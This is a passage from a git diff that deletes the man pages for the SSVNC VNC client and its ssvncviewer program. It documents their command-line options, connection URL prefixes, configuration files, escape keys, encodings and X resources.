-arguments (for use when ssvnc_cmd is not in one's PATH.) If neither
-ssvnc_cmd nor ssvncviewer is in PATH, one can launch the viewer
-directly via: ssvnc -cmd -viewer [viewer-args]
-.TP
-\fB\-profiles\fR
-List the saved SSVNC profiles you have created. A profile
-is a destination host with specific parameter settings.
-.TP
-\fB\-list\fR
-Same as \fB\-profiles\fR
-.TP
-\fB\-ssh\fR
-Start in "SSH Only Mode". No SSL aspects are shown.
-Same as running the command \fBsshvnc\fR
-.TP
-\fB\-ts\fR
-Start in "Terminal Services Mode". This is like "SSH Only Mode", but
-simpler and assumes \fBx11vnc\fR is available on the remote side
-to start and manage X and VNC sessions.
-Same as running the command \fBtsvnc\fR
-.TP
-\fB\-tso\fR
-Same as \fB-ts\fR "Terminal Services Mode", however never let the
-user leave this mode (no button to switch modes is provided.)
-Same as SSVNC_TS_ALWAYS=1.
-.TP
-\fB\-ssl\fR
-Force the full GUI Mode: both SSL and SSH. This is the default.
-Same as \fB-ss\fR.
-.TP
-\fB\-nv\fR
-Toggle the "Verify All Certs" button to be off at startup.
-.TP
-\fB\-nvb\fR
-Never show the "Verify All Certs" button.
-Same as SSVNC_NO_VERIFY_ALL_BUTTON=1.
-.TP
-\fB\-bigger\fR
-Make the Profile Selection Dialog window bigger.
-Same as SSVNC_BIGGER_DIALOG=1.
-.TP
-\fB\-noenc\fR
-Start off in a mode where a 'No Encryption' check button is present.
-You can toggle the mode with Ctrl-E.
-Same as SSVNC_DISABLE_ENCRYPTION_BUTTON=1. Or \fInoenc=1\fR in ~/.ssvncrc.
-Selecting no encryption is the same as the vnc:// and Vnc:// prefixes
-described below. The \fB\-noenc\fR mode is now the default, use \fB-enc\fR
-or \fInoenc=0\fR for the opposite behavior.
-.TP
-\fB\-killstunnel\fR
-On Windows, automatically terminate the STUNNEL process when the viewer
-exits instead of prompting you (same as \fIkillstunnel=1\fR in ssvnc_rc or
-toggle in Options menu)
-.TP
-\fB\-nokillstunnel\fR
-On Windows, disable \fB-killstunnel\fR mode.
-Same as \fIkillstunnel=0\fR in ssvnc_rc or
-toggle in Options menu. Note that \fB-killstunnel\fR mode is now the default.
-.TP
-\fB\-mycert\fR \fI/path/to/mycert.pem\fR
-Set the default "MyCert" to be \fI/path/to/mycert.pem\fR.
-Same as \fB-cert\fR.
-If the file does not exist, ~/.vnc/certs is prefixed and tried.
-You can also set \fImycert=/path/to/mycert.pem\fR in ~/.ssvncrc.
-.TP
-\fB\-cacert\fR \fI/path/to/cacert.crt\fR
-Set the default "ServerCert" to be \fI/path/to/cacert.crt\fR.
-Same as \fB-ca\fR.
-If the file does not exist, ~/.vnc/certs is prefixed and tried.
-You can also set \fIcacert=/path/to/cacert.crt\fR in ~/.ssvncrc.
-.TP
-\fB\-crl\fR \fI/path/to/mycrl.pem\fR
-Set the default Certificate Revocation List to be \fI/path/to/mycrl.pem\fR.
-If the file does not exist, ~/.vnc/certs is prefixed and tried.
-You can also set \fIcrl=/path/to/mycrl.pem\fR in ~/.ssvncrc.
-.SH URL NOTATION
-Here are all of our URL-like prefixes that you can put in front of
-host:display (or host:port):
-
-For SSL: vncs:// vncssl:// and vnc+ssl://
-
-For SSH: vncssh:// and vnc+ssh://
-
-For No Encryption: vnc:// and Vnc://
-
-Examples:
-
-To quickly make an SSL connection: \fBssvnc vncs://snoopy.com:0\fR
-
-To quickly make an SSH connection: \fBssvnc vnc+ssh://fred@snoopy.com:0\fR
-
-To quickly make a direct connection: \fBssvnc Vnc://snoopy.com:0\fR
-
-The above will also work in the "VNC Host:Display" entry box in the GUI.
-Press the "Connect" button after entering them.
-
-The difference between vnc:// and Vnc:// is that the latter one will not
-prompt you whether you really want to make an unencrypted connection
-or not.
-.SH FILES
-Your SSVNC vnc profiles are stored in the \fB$HOME/.vnc/profiles\fR
-directory. They end in suffix \fB.vnc\fR
-
-Your SSVNC vnc certificates and keys are stored in the \fB$HOME/.vnc/certs\fR
-directory. They typically end in \fB.pem\fR (both certificate and
-private key) or \fB.crt\fR (certificate only).
-
-You can put a few global parameters (e.g. mode=sshvnc) in your
-\fB$HOME/.ssvncrc\fR file (\fBssvnc_rc\fR on Windows); see the
-application Help for more information.
-
-.SH FONTS
-
-The following is from Tip 18 in the Help panel.
-
-Fonts: To change the tk fonts, set these environment variables
-before starting up ssvnc: SSVNC_FONT_DEFAULT and SSVNC_FONT_FIXED.
-For example:
-
-% env SSVNC_FONT_DEFAULT='helvetica -20 bold' ssvnc
-
-% env SSVNC_FONT_FIXED='courier -14' ssvnc
-
-or set both of them at once.
-
-To achieve the same effect, you can also
-set parameters in your ~/.ssvncrc file, for example:
-
-font_default=helvetica -20 bold
-
-font_fixed=courier -14
-
-.SH SEE ALSO
-\fBssvncviewer\fB(1), \fBvncviewer\fR(1), \fBstunnel\fR(8), \fBssh\fR(1), \fBx11vnc\fR(1), \fBvncserver\fR(1)
-http://www.karlrunge.com/x11vnc http://www.karlrunge.com/x11vnc/ssvnc.html
-.SH AUTHORS
-Karl J. Runge <runge@karlrunge.com> wrote the SSVNC gui (tcl/tk) and
-associated wrapper scripts, and added features to the unix vncviewer
-source code.
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1 b/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1
deleted file mode 100644
index cdfc7ae..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1
+++ /dev/null
@@ -1,829 +0,0 @@
-'\" t
-.\" ** The above line should force tbl to be a preprocessor **
-.\" Man page for X vncviewer
-.\"
-.\" Copyright (C) 1998 Marcus.Brinkmann@ruhr-uni-bochum.de
-.\" Copyright (C) 2000,2001 Red Hat, Inc.
-.\" Copyright (C) 2001-2003 Constantin Kaplinsky <const@ce.cctpu.edu.ru>
-.\" Copyright (C) 2006-2010 Karl J. Runge <runge@karlrunge.com>
-.\"
-.\" You may distribute under the terms of the GNU General Public
-.\" License as specified in the file LICENCE.TXT that comes with the
-.\" TightVNC distribution.
-.\"
-.TH ssvncviewer 1 "April 2010" "" "SSVNC"
-.SH NAME
-ssvncviewer \- an X viewer client for VNC
-.SH SYNOPSIS
-.B ssvncviewer
-.RI [\| options \|]
-.RI [\| host \|][\| :display \|]
-.br
-.B ssvncviewer
-.RI [\| options \|]
-.RI [\| host \|][\| ::port \|]
-.br
-.B ssvncviewer
-.RI [\| options \|]
-.RI exec=[\| cmd+args... \|]
-.br
-.B ssvncviewer
-.RI [\| options \|]
-.RI fd=n
-.br
-.B ssvncviewer
-.RI [\| options \|]
-.RI /path/to/unix/socket
-.br
-.B ssvncviewer
-.RI [\| options \|]
-.IR \-listen
-.RI [\| display \|]
-.br
-.B ssvncviewer
-.IR \-help
-.br
-.SH DESCRIPTION
-.B ssvncviewer
-is an Xt\-based client application for the VNC (Virtual Network
-Computing) system. It can connect to any VNC\-compatible server such
-as \fBXvnc\fR, WinVNC, or \fBx11vnc\fR, allowing you to control desktop environment
-of a different machine.
-
-ssvncviewer is an enhanced version of the tightvnc unix viewer that can
-take advantage of features in the \fBx11vnc\fR and UltraVNC VNC servers.
-See below for the description of these features.
-
-You can use F8 to display a pop\-up utility menu. Press F8 twice to
-pass single F8 to the remote side.
-.SH OPTIONS
-.TP
-\fB\-help\fR
-Prints a short usage notice to stderr.
-.TP
-\fB\-listen\fR
-Make the viewer listen on port 5500+\fIdisplay\fR for reverse
-connections from a server. WinVNC supports reverse connections using
-the "Add New Client" menu option, or the \-connect command line
-option. \fBXvnc\fR requires the use of the helper program
-\fBvncconnect\fR.
-.TP
-\fB\-via\fR \fIgateway\fR
-Automatically create encrypted TCP tunnel to the \fIgateway\fR machine
-before connection, connect to the \fIhost\fR through that tunnel
-(TightVNC\-specific). By default, this option invokes SSH local port
-forwarding, assuming that SSH client binary can be accessed as
-/usr/bin/ssh. Note that when using the \fB\-via\fR option, the host
-machine name should be specified as known to the gateway machine, e.g.
-"localhost" denotes the \fIgateway\fR, not the machine where vncviewer
-was launched. See the ENVIRONMENT section below for the information on
-configuring the \fB\-via\fR option.
-.TP
-\fB\-shared\fR
-When connecting, specify that a shared connection is requested. In
-TightVNC, this is the default mode, allowing you to share the desktop
-with other clients already using it.
-.TP
-\fB\-noshared\fR
-When connecting, specify that the session may not be shared. This
-would either disconnect other connected clients or refuse your
-connection, depending on the server configuration.
-.TP
-\fB\-viewonly\fR
-Disable transfer of mouse and keyboard events from the client to the
-server.
-.TP
-\fB\-fullscreen\fR
-Start in full\-screen mode. Please be aware that operating in
-full\-screen mode may confuse X window managers. Typically, such
-conflicts cause incorrect handling of input focus or make the viewer
-window disappear mysteriously. See the grabKeyboard setting in the
-RESOURCES section below for a method to solve input focus problem.
-.TP
-\fB\-noraiseonbeep\fR
-By default, the viewer shows and raises its window on remote beep
-(bell) event. This option disables such behaviour
-(TightVNC\-specific).
-.TP
-\fB\-user\fR \fIusername\fR
-User name for Unix login authentication. Default is to use current
-Unix user name. If this option was given, the viewer will prefer Unix
-login authentication over the standard VNC authentication.
-.TP
-\fB\-passwd\fR \fIpasswd\-file\fR
-File from which to get the password (as generated by the
-\fBvncpasswd\fR(1) program). This option affects only the standard VNC
-authentication.
-.TP
-\fB\-encodings\fR \fIencoding\-list\fR
-TightVNC supports several different compression methods to encode
-screen updates; this option specifies a set of them to use in order of
-preference. Encodings are specified separated with spaces, and must
-thus be enclosed in quotes if more than one is specified. Commas may be used to avoid spaces.
-Available encodings, in default order for a remote connection, are
-"copyrect tight hextile zlib corre rre raw". For a local connection
-(to the same machine), the default order to try is "raw copyrect tight
-hextile zlib corre rre". Raw encoding is always assumed as a last option
-if no other encoding can be used for some reason. For more information
-on encodings, see the section ENCODINGS below.
-.TP
-\fB\-bgr233\fR
-Always use the BGR233 format to encode pixel data. This reduces
-network traffic, but colors may be represented inaccurately. The
-bgr233 format is an 8\-bit "true color" format, with 2 bits blue, 3
-bits green, and 3 bits red.
-.TP
-\fB\-owncmap\fR
-Try to use a PseudoColor visual and a private colormap. This allows
-the VNC server to control the colormap.
-.TP
-\fB\-truecolour\fR, \fB\-truecolor\fR
-Try to use a TrueColor visual.
-.TP
-\fB\-depth\fR \fIdepth\fR
-On an X server which supports multiple TrueColor visuals of different
-depths, attempt to use the specified one (in bits per pixel); if
-successful, this depth will be requested from the VNC server.
-.TP
-\fB\-compresslevel \fIlevel\fR
-Use specified compression \fIlevel\fR (0..9) for "tight" and "zlib"
-encodings (TightVNC\-specific). Level 1 uses minimum of CPU time and
-achieves weak compression ratios, while level 9 offers best
-compression but is slow in terms of CPU time consumption on the server
-side. Use high levels with very slow network connections, and low
-levels when working over high\-speed LANs. It's not recommended to use
-compression level 0, reasonable choices start from the level 1.
-.TP
-\fB\-quality \fIlevel\fR
-Use the specified JPEG quality \fIlevel\fR (0..9) for the "tight"
-encoding (TightVNC\-specific). Quality level 0 denotes bad image
-quality but very impressive compression ratios, while level 9 offers
-very good image quality at lower compression ratios. Note that the
-"tight" encoder uses JPEG to encode only those screen areas that look
-suitable for lossy compression, so quality level 0 does not always
-mean unacceptable image quality.
-.TP
-\fB\-nojpeg\fR
-Disable lossy JPEG compression in Tight encoding (TightVNC\-specific).
-Disabling JPEG compression is not a good idea in typical cases, as
-that makes the Tight encoder less efficient. You might want to use
-this option if it's absolutely necessary to achieve perfect image
-quality (see also the \fB\-quality\fR option).
-.TP
-\fB\-nocursorshape\fR
-Disable cursor shape updates, protocol extensions used to handle
-remote cursor movements locally on the client side
-(TightVNC\-specific). Using cursor shape updates decreases delays with
-remote cursor movements, and can improve bandwidth usage dramatically.
-.TP
-\fB\-x11cursor\fR
-Use a real X11 cursor with X-style cursor shape updates, instead of
-drawing the remote cursor on the framebuffer. This option also
-disables the dot cursor, and disables cursor position updates in
-non-fullscreen mode.
-.TP
-\fB\-autopass\fR
-Read a plain-text password from stdin. This option affects only the
-standard VNC authentication.
-
-.SH Enhanced TightVNC Viewer (SSVNC) OPTIONS
-.TP
-Enhanced TightVNC Viewer (SSVNC) web page is located at:
-.TP
-http://www.karlrunge.com/x11vnc/ssvnc.html
-.TP
-Note: ZRLE and ZYWRLE encodings are now supported.
-.TP
-Note: F9 is shortcut to Toggle FullScreen mode.
-.TP
-Note: In -listen mode set the env var. SSVNC_MULTIPLE_LISTEN=1
-to allow more than one incoming VNC server at a time.
-This is the same as -multilisten described below. Set
-SSVNC_MULTIPLE_LISTEN=MAX:n to allow no more than "n"
-simultaneous reverse connections.
-
-If the host:port is specified as "exec=command args..."
-then instead of making a TCP/IP socket connection to the
-remote VNC server, "command args..." is executed and the
-viewer is attached to its stdio. This enables tunnelling
-established via an external command, e.g. an stunnel(8)
-that does not involve a listening socket.
-This mode does not work for -listen reverse connections.
-
-If the host:port is specified as "fd=n" then it is assumed
-n is an already opened file descriptor to the socket. (i.e
-the parent did fork+exec)
-
-If the host:port contains a '/' it is interpreted as a
-unix-domain socket (AF_LOCAL insead of AF_INET)
-.TP
-\fB\-multilisten\fR
-As in -listen (reverse connection listening) except
-allow more than one incoming VNC server to be connected
-at a time. The default for -listen of only one at a
-time tries to play it safe by not allowing anyone on
-the network to put (many) desktops on your screen over
-a long window of time. Use -multilisten for no limit.
-.TP
-\fB\-acceptpopup\fR
-In \fB\-listen\fR (reverse connection listening) mode when
-a reverse VNC connection comes in show a popup asking
-whether to Accept or Reject the connection. The IP
-address of the connecting host is shown. Same as
-setting the env. var. SSVNC_ACCEPT_POPUP=1.
-.TP
-\fB\-acceptpopupsc\fR
-As in \fB\-acceptpopup\fR except assume UltraVNC Single
-Click (SC) server. Retrieve User and ComputerName
-info from UltraVNC Server and display in the Popup.
-.TP
-\fB\-use64\fR
-In \fB\-bgr233\fR mode, use 64 colors instead of 256.
-.TP
-\fB\-bgr222\fR
-Same as \fB\-use64\fR.
-.TP
-\fB\-use8\fR
-In \fB\-bgr233\fR mode, use 8 colors instead of 256.
-.TP
-\fB\-bgr111\fR
-Same as \fB\-use8\fR.
-.TP
-\fB\-16bpp\fR
-If the vnc viewer X display is depth 24 at 32bpp
-request a 16bpp format from the VNC server to cut
-network traffic by up to 2X, then tranlate the
-pixels to 32bpp locally.
-.TP
-\fB\-bgr565\fR
-Same as \fB\-16bpp\fR.
-.TP
-\fB\-grey\fR
-Use a grey scale for the 16- and 8\fB\-bpp\fR modes.
-.TP
-\fB\-alpha\fR
-Use alphablending transparency for local cursors
-requires: x11vnc server, both client and server
-must be 32bpp and same endianness.
-.TP
-\fB\-scale\fR \fIstr\fR
-Scale the desktop locally. The string "str" can
-a floating point ratio, e.g. "0.9", or a fraction,
-e.g. "3/4", or WxH, e.g. 1280x1024. Use "fit"
-to fit in the current screen size. Use "auto" to
-fit in the window size. "str" can also be set by
-the env. var. SSVNC_SCALE.
-
-If you observe mouse trail painting errors, enable
-X11 Cursor mode (either via Popup or \fB\-x11cursor\fR.)
-
-Note that scaling is done in software and so can be
-slow and requires more memory. Some speedup Tips:
-
-ZRLE is faster than Tight in this mode. When
-scaling is first detected, the encoding will
-be automatically switched to ZRLE. Use the
-Popup menu if you want to go back to Tight.
-Set SSVNC_PRESERVE_ENCODING=1 to disable this.
-
-Use a solid background on the remote side.
-(e.g. manually or via x11vnc \fB\-solid\fR ...)
-
-If the remote server is x11vnc, try client
-side caching: x11vnc \fB\-ncache\fR 10 ...
-.TP
-\fB\-ycrop\fR n
-Only show the top n rows of the framebuffer. For
-use with x11vnc \fB\-ncache\fR client caching option
-to help "hide" the pixel cache region.
-Use a negative value (e.g. \fB\-1\fR) for autodetection.
-Autodetection will always take place if the remote
-fb height is more than 2 times the width.
-.TP
-\fB\-sbwidth\fR n
-Scrollbar width for x11vnc \fB\-ncache\fR mode (\fB\-ycrop\fR),
-default is very narrow: 2 pixels, it is narrow to
-avoid distraction in \fB\-ycrop\fR mode.
-.TP
-\fB\-nobell\fR
-Disable bell.
-.TP
-\fB\-rawlocal\fR
-Prefer raw encoding for localhost, default is
-no, i.e. assumes you have a SSH tunnel instead.
-.TP
-\fB\-notty\fR
-Try to avoid using the terminal for interactive
-responses: use windows for messages and prompting
-instead. Messages will also be printed to terminal.
-.TP
-\fB\-sendclipboard\fR
-Send the X CLIPBOARD selection (i.e. Ctrl+C,
-Ctrl+V) instead of the X PRIMARY selection (mouse
-select and middle button paste.)
-.TP
-\fB\-sendalways\fR
-Whenever the mouse enters the VNC viewer main
-window, send the selection to the VNC server even if
-it has not changed. This is like the Xt resource
-translation SelectionToVNC(always)
-.TP
-\fB\-recvtext\fR
-str When cut text is received from the VNC server,
-ssvncviewer will set both the X PRIMARY and the
-X CLIPBOARD local selections. To control which
-is set, specify 'str' as 'primary', 'clipboard',
-or 'both' (the default.)
-.TP
-\fB\-graball\fR
-Grab the entire X server when in fullscreen mode,
-needed by some old window managers like fvwm2.
-.TP
-\fB\-popupfix\fR
-Warp the popup back to the pointer position,
-needed by some old window managers like fvwm2.
-.TP
-\fB\-grabkbd\fR
-Grab the X keyboard when in fullscreen mode,
-needed by some window managers. Same as \fB\-grabkeyboard\fR.
-\fB\-grabkbd\fR is the default, use \fB\-nograbkbd\fR to disable.
-.TP
-\fB\-bs\fR, \fB\-nobs\fR
-Whether or not to use X server Backingstore for the
-main viewer window. The default is to not, mainly
-because most Linux, etc, systems X servers disable
-*all* Backingstore by default. To re\fB\-enable\fR it put
-
-Option "Backingstore"
-
-in the Device section of /etc/X11/xorg.conf.
-In \fB\-bs\fR mode with no X server backingstore, whenever an
-area of the screen is re\fB\-exposed\fR it must go out to the
-VNC server to retrieve the pixels. This is too slow.
-
-In \fB\-nobs\fR mode, memory is allocated by the viewer to
-provide its own backing of the main viewer window. This
-actually makes some activities faster (changes in large
-regions) but can appear to "flash" too much.
-.TP
-\fB\-noshm\fR
-Disable use of MIT shared memory extension (not recommended)
-.TP
-\fB\-termchat\fR
-Do the UltraVNC chat in the terminal vncviewer is in
-instead of in an independent window.
-.TP
-\fB\-unixpw\fR \fIstr\fR
-Useful for logging into x11vnc in \fB\-unixpw\fR mode. "str" is a
-string that allows many ways to enter the Unix Username
-and Unix Password. These characters: username, newline,
-password, newline are sent to the VNC server after any VNC
-authentication has taken place. Under x11vnc they are
-used for the \fB\-unixpw\fR login. Other VNC servers could do
-something similar.
-
-You can also indicate "str" via the environment
-variable SSVNC_UNIXPW.
-
-Note that the Escape key is actually sent first to tell
-x11vnc to not echo the Unix Username back to the VNC
-viewer. Set SSVNC_UNIXPW_NOESC=1 to override this.
-
-If str is ".", then you are prompted at the command line
-for the username and password in the normal way. If str is
-"-" the stdin is read via getpass(3) for username@password.
-Otherwise if str is a file, it is opened and the first line
-read is taken as the Unix username and the 2nd as the
-password. If str prefixed by "rm:" the file is removed
-after reading. Otherwise, if str has a "@" character,
-it is taken as username@password. Otherwise, the program
-exits with an error. Got all that?
-.TP
-\fB-repeater\fR \fIstr\fR
-This is for use with UltraVNC repeater proxy described
-here: http://www.uvnc.com/addons/repeater.html. The "str"
-is the ID string to be sent to the repeater. E.g. ID:1234
-It can also be the hostname and port or display of the VNC
-server, e.g. 12.34.56.78:0 or snoopy.com:1. Note that when
-using -repeater, the host:dpy on the cmdline is the repeater
-server, NOT the VNC server. The repeater will connect you.
-
-Example: vncviewer ... -repeater ID:3333 repeat.host:5900
-
-Example: vncviewer ... -repeater vhost:0 repeat.host:5900
-
-Use, e.g., '-repeater SCIII=ID:3210' if the repeater is a
-Single Click III (SSL) repeater (repeater_SSL.exe) and you
-are passing the SSL part of the connection through stunnel, socat, etc.
-This way the magic UltraVNC string 'testB' needed to work with the
-repeater is sent to it.
-.TP
-\fB-rfbversion\fR \fIstr\fR
-Set the advertised RFB version. E.g.: -rfbversion 3.6 For some
-servers, e.g. UltraVNC this needs to be done.
-.TP
-\fB-ultradsm\fR
-UltraVNC has symmetric private encryption DSM plugins. See
-http://www.uvnc.com/features/encryption.html. It is assumed
-you are using a unix program (e.g. our ultravnc_dsm_helper) to
-encrypt and decrypt the UltraVNC DSM stream. IN ADDITION TO
-THAT supply -ultradsm to tell THIS viewer to modify the RFB
-data sent so as to work with the UltraVNC Server. For some
-reason, each RFB msg type must be sent twice under DSM.
-.TP
-\fB\-mslogon\fR \fIuser\fR
-Use Windows MS Logon to an UltraVNC server. Supply the
-username or "1" to be prompted. The default is to
-autodetect the UltraVNC MS Logon server and prompt for
-the username and password.
-
-IMPORTANT NOTE: The UltraVNC MS-Logon Diffie-Hellman
-exchange is very weak and can be brute forced to recover
-your username and password in a few seconds of CPU
-time. To be safe, be sure to use an additional encrypted
-tunnel (e.g. SSL or SSH) for the entire VNC session.
-.TP
-\fB\-chatonly\fR
-Try to be a client that only does UltraVNC text chat. This
-mode is used by x11vnc to present a chat window on the physical
-X11 console (i.e. to chat with the person at the display).
-.TP
-\fB-env\fR \fIVAR=VALUE\fR
-To save writing a shell script to set environment
-variables, specify as many as you need on the command line. For example,
--env SSVNC_MULTIPLE_LISTEN=MAX:5 -env EDITOR=vi
-.TP
-\fB\-noipv6\fR
-Disable all IPv6 sockets. Same as VNCVIEWER_NO_IPV6=1.
-.TP
-\fB\-noipv4\fR
-Disable all IPv4 sockets. Same as VNCVIEWER_NO_IPV4=1.
-.TP
-\fB\-printres\fR
-Print out the Ssvnc X resources (appdefaults) and
-then exit. You can save them to a file and customize them (e.g. the
-keybindings and Popup menu) Then point to the file via
-XENVIRONMENT or XAPPLRESDIR.
-.TP
-\fB\-pipeline\fR
-Like TurboVNC, request the next framebuffer update as soon
-as possible instead of waiting until the end of the current
-framebuffer update coming in. Helps 'pipeline' the updates.
-This is currently the default, use \fB-nopipeline\fR to disable.
-.TP
-\fB\-appshare\fR
-Enable features for use with x11vnc's \fB\-appshare\fR mode where
-instead of sharing the full desktop only the application's
-windows are shared. Viewer multilisten mode is used to
-create the multiple windows: \fB\-multilisten\fR is implied.
-See 'x11vnc \fB\-appshare\fR \fB\-help\fR' more information on the mode.
-Features enabled in the viewer under \fB\-appshare\fR are:
-Minimum extra text in the title, auto \fB\-ycrop\fR is disabled,
-x11vnc \fB\-remote_prefix\fR X11VNC_APPSHARE_CMD: message channel,
-x11vnc initial window position hints. See also Escape Keys
-below for additional key and mouse bindings.
-.TP
-\fB\-escape \fR\fIstr\fR
-This sets the 'Escape Keys' modifier sequence and enables
-escape keys mode. When the modifier keys escape sequence
-is held down, the next keystroke is interpreted locally
-to perform a special action instead of being sent to the
-remote VNC server.
-
-Use '\fB\-escape\fR default' for the default modifier sequence.
-(Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)
-
-Here are the 'Escape Keys: Help+Set' instructions from the Popup:
-
-Escape Keys: Enter a comma separated list of modifier keys to be the 'escape
-sequence'. When these keys are held down, the next keystroke is
-interpreted locally to invoke a special action instead of being sent to
-the remote VNC server. In other words, a set of 'Hot Keys'.
-
-Here is the list of local key mappings to special actions:
-
-r: refresh desktop b: toggle bell c: toggle full-color
-
-f: file transfer x: x11cursor z: toggle Tight/ZRLE
-
-l: full screen g: graball e: escape keys dialog
-
-s: scale dialog +: scale up (=) -: scale down (_)
-
-t: text chat a: alphablend cursor
-
-V: toggle viewonly Q: quit viewer 123456: UltraVNC scale 1/n
-
-Arrow keys: pan the viewport about 10% for each keypress.
-
-PageUp/PageDown: pan the viewport by a screenful vertically.
-
-Home/End: pan the viewport by a screenful horizontally.
-
-KeyPad Arrows: pan the viewport by 1 pixel for each keypress.
-
-Dragging the Mouse with Button1 pressed also pans the viewport.
-
-Clicking Mouse Button3 brings up the Popup Menu.
-
-The above mappings are \fBalways\fR active in ViewOnly mode, unless you set
-the Escape Keys value to 'never'.
-
-x11vnc -appshare hot-keys: x11vnc has a simple application sharing mode
-that enables the viewer-side to move, resize, or raise the remote toplevel
-windows. To enable it, hold down Shift + the Escape Keys and press these:
-
-Arrow keys: move the remote window around in its desktop.
-
-PageUp/PageDn/Home/End: resize the remote window.
-
-+/-: raise or lower the remote window.
-
-M or Button1 move win to local position; D or Button3: delete remote win.
-
-If the Escape Keys value below is set to 'default' then a default list of
-of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it
-is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag
-on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side
-of the keyboard.
-
-On Unix the default is Alt and Windows keys on Left side of keyboard.
-On MacOSX the default is Control and Command keys on Left side of keyboard.
-
-Example: Press and hold the Alt and Windows keys on the LEFT side of the
-keyboard and then press 'c' to toggle the full-color state. Or press 't'
-to toggle the ultravnc Text Chat window, etc.
-
-To use something besides the default, supply a comma separated list (or a
-single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L
-Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.
-.TP
-\fB New Popup actions:\fR
-
- ViewOnly: ~ -viewonly
- Disable Bell: ~ -nobell
- Cursor Shape: ~ -nocursorshape
- X11 Cursor: ~ -x11cursor
- Cursor Alphablend: ~ -alpha
- Toggle Tight/Hextile: ~ -encodings hextile...
- Toggle Tight/ZRLE: ~ -encodings zrle...
- Toggle ZRLE/ZYWRLE: ~ -encodings zywrle...
- Quality Level ~ -quality (both Tight and ZYWRLE)
- Compress Level ~ -compresslevel
- Disable JPEG: ~ -nojpeg (Tight)
- Pipeline Updates ~ -pipeline
-
- Full Color as many colors as local screen allows.
- Grey scale (16 & 8-bpp) ~ -grey, for low colors 16/8bpp modes only.
- 16 bit color (BGR565) ~ -16bpp / -bgr565
- 8 bit color (BGR233) ~ -bgr233
- 256 colors ~ -bgr233 default # of colors.
- 64 colors ~ -bgr222 / -use64
- 8 colors ~ -bgr111 / -use8
- Scale Viewer ~ -scale
- Escape Keys: Toggle ~ -escape
- Escape Keys: Help+Set ~ -escape
- Set Y Crop (y-max) ~ -ycrop
- Set Scrollbar Width ~ -sbwidth
- XGrabServer ~ -graball
-
- UltraVNC Extensions:
-
- Set 1/n Server Scale Ultravnc ext. Scale desktop by 1/n.
- Text Chat Ultravnc ext. Do Text Chat.
- File Transfer Ultravnc ext. File xfer via Java helper.
- Single Window Ultravnc ext. Grab and view a single window.
- (select then click on the window you want).
- Disable Remote Input Ultravnc ext. Try to prevent input and
- viewing of monitor at physical display.
-
- Note: the Ultravnc extensions only apply to servers that support
- them. x11vnc/libvncserver supports some of them.
-
- Send Clipboard not Primary ~ -sendclipboard
- Send Selection Every time ~ -sendalways
-
-.SH ENCODINGS
-The server supplies information in whatever format is desired by the
-client, in order to make the client as easy as possible to implement.
-If the client represents itself as able to use multiple formats, the
-server will choose one.
-
-.I Pixel format
-refers to the representation of an individual pixel. The most common
-formats are 24 and 16 bit "true\-color" values, and 8\-bit "color map"
-representations, where an arbitrary map converts the color number to
-RGB values.
-
-.I Encoding
-refers to how a rectangle of pixels are sent (all pixel information in
-VNC is sent as rectangles). All rectangles come with a header giving
-the location and size of the rectangle and an encoding type used by
-the data which follows. These types are listed below.
-.TP
-.B Raw
-The raw encoding simply sends width*height pixel values. All clients
-are required to support this encoding type. Raw is also the fastest
-when the server and viewer are on the same machine, as the connection
-speed is essentially infinite and raw encoding minimizes processing
-time.
-.TP
-.B CopyRect
-The Copy Rectangle encoding is efficient when something is being
-moved; the only data sent is the location of a rectangle from which
-data should be copied to the current location. Copyrect could also be
-used to efficiently transmit a repeated pattern.
-.TP
-.B RRE
-The Rise\-and\-Run\-length\-Encoding is basically a 2D version of
-run\-length encoding (RLE). In this encoding, a sequence of identical
-pixels are compressed to a single value and repeat count. In VNC, this
-is implemented with a background color, and then specifications of an
-arbitrary number of subrectangles and color for each. This is an
-efficient encoding for large blocks of constant color.
-.TP
-.B CoRRE
-This is a minor variation on RRE, using a maximum of 255x255 pixel
-rectangles. This allows for single\-byte values to be used, reducing
-packet size. This is in general more efficient, because the savings
-from sending 1\-byte values generally outweighs the losses from the
-(relatively rare) cases where very large regions are painted the same
-color.
-.TP
-.B Hextile
-Here, rectangles are split up in to 16x16 tiles, which are sent in a
-predetermined order. The data within the tiles is sent either raw or
-as a variant on RRE. Hextile encoding is usually the best choice for
-using in high\-speed network environments (e.g. Ethernet local\-area
-networks).
-.TP
-.B Zlib
-Zlib is a very simple encoding that uses zlib library to compress raw
-pixel data. This encoding achieves good compression, but consumes a
-lot of CPU time. Support for this encoding is provided for
-compatibility with VNC servers that might not understand Tight
-encoding which is more efficient than Zlib in nearly all real\-life
-situations.
-.TP
-.B Tight
-Like Zlib encoding, Tight encoding uses zlib library to compress the
-pixel data, but it pre\-processes data to maximize compression ratios,
-and to minimize CPU usage on compression. Also, JPEG compression may
-be used to encode color\-rich screen areas (see the description of
-\-quality and \-nojpeg options above). Tight encoding is usually the
-best choice for low\-bandwidth network environments (e.g. slow modem
-connections).
-.TP
-.B ZRLE
-The SSVNC viewer has ported the RealVNC (www.realvnc.com) ZRLE encoding
-to the unix tightvnc viewer.
-.TP
-.B ZYWRLE
-The SSVNC viewer has ported the Hitachi lossy wavelet based ZRLE
-encoding from http://mobile.hitachi-system.co.jp/publications/ZYWRLE/
-to the unix tightvnc viewer.
-.SH RESOURCES
-X resources that \fBvncviewer\fR knows about, aside from the
-normal Xt resources, are as follows:
-.TP
-.B shareDesktop
-Equivalent of \fB\-shared\fR/\fB\-noshared\fR options. Default true.
-.TP
-.B viewOnly
-Equivalent of \fB\-viewonly\fR option. Default false.
-.TP
-.B fullScreen
-Equivalent of \fB\-fullscreen\fR option. Default false.
-.TP
-.B grabKeyboard
-Grab keyboard in full-screen mode. This can help to solve problems
-with losing keyboard focus. Default false.
-.TP
-.B raiseOnBeep
-Equivalent of \fB\-noraiseonbeep\fR option, when set to false. Default
-true.
-.TP
-.B passwordFile
-Equivalent of \fB\-passwd\fR option.
-.TP
-.B userLogin
-Equivalent of \fB\-user\fR option.
-.TP
